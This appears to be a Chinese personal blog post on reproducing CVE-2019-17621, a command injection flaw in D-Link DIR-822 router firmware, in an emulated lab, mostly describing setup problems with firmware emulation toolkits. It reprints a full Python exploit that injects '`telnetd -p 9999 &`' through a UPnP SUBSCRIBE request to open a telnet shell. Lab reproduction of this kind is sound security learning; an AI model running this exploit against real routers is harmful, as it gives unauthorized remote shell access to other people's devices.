CVE-2019-17621 dlink-822 命令注入漏洞复现

前言

第一次成功仿真一个固件并成功访问web并成功复现漏洞的exp ……

期间用 firmware-analysis-toolkit 和 firmware-analysis-plus (包括它的docker)在不同的操作系统(kali2020.4,kali2022.4)上来回实验了各种各样的固件,最终的成功目前看来只是一个偶然(因为遇到了太多我目前无法解释的问题)特此记录一下😪

环境

kali2020.4 (同样的固件,同样版本的fap,但是在kali2022.4上运行这个固件时,会Internal Error 500(但起码能访问到这个ip……😅)

固件下载地址:http://support.dlink.com.cn:9000/ProductInfo.aspx?m=DIR-822

就这一个版本1.03B03

fap使用的是2.3版本 https://github.com/liyansong2018/firmware-analysis-plus/tree/v2.3

使用的exp来源 https://www.jianshu.com/p/409106be87b7

运行

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import socket
import os
from time import sleep
# Exploit By Miguel Mendez & Pablo Pollanco
def httpSUB(server, port, shell_file):
print('\n[*] Connection {host}:{port}').format(host=server, port=port)
con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
request += "Host: " + str(server) + str(port) + "\n"
request += "Callback: <http://192.168.0.4:34033/ServiceProxy27>\n"
request += "NT: upnp:event\n"
request += "Timeout: Second-1800\n"
request += "Accept-Encoding: gzip, deflate\n"
request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
sleep(1)
print('[*] Sending Payload')
con.connect((socket.gethostbyname(server),port))
con.send(request.encode())
results = con.recv(4096)
sleep(1)
print('[*] Running Telnetd Service')
sleep(1)
print('[*] Opening Telnet Connection\n')
sleep(2)
os.system('telnet ' + str(server) + ' 9999')
serverInput = raw_input('IP Router: ')
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd -p 9999 &`')

这是第一次仿真固件,一开始用的是firmware-analysis-toolkit(fat,https://github.com/attify/firmware-analysis-toolkit),首先它安装的时候就一堆问题。包括它的setup.sh里,要安装个lsb-core,但是apt找不到这个包,上网找了半天没找到一个能成功安装的,然后在他的issue里发现有人说这个不是必要的,可以删掉😅,然后setp.sh里还有个qt5base-dev的包,在kali上实际应该是qtbase5-dev😅,我不知道其他系统是啥样,还有一个坑是因为git clone不稳定,我手动下载的zip包,但实际上这个clone是要recursive的😅,直接运行fat.py他是用pexpect去开启另一个进程,然后新启动的这个进程并不会把输出显示过来,看源码调试半天才发现是少文件,当时还很纳闷😅为啥会少(过于nc)

相对来说firmware-analysis-plus(fap,https://github.com/liyansong2018/firmware-analysis-plus)比较友好(和fat基本一样,只不过细节上做了一些修改),首先,其他项目的文件统一放在了库里(没有那个递归了😅)然后还做了一个docker,但是这个docker没有装jefferson,仿真不了jffs的文件系统,只能继续自己配环境😅。fat.py后面要加一个-q qemu-path的参数,否则network interface列表会为空(nc如我还跑去人家issue底下问,还好人家没过几分钟就回复了😅)

然后exp部分一开始我用的这个帖子的exp :http://www.manongzj.com/blog/28-tkbcqqitdf.html,跑不通,后来换成了前文用的exp,居然好使了。。。我没看出来这俩exp有啥区别,不想管了😅,第一次固件仿真到此结束,漏洞是啥原理暂时不想管了


CVE-2019-17621 dlink-822 命令注入漏洞复现
https://isolator-1.github.io/2022/12/17/固件仿真/CVE-2019-17621/
Author
Isolator
Posted on
December 17, 2022
Licensed under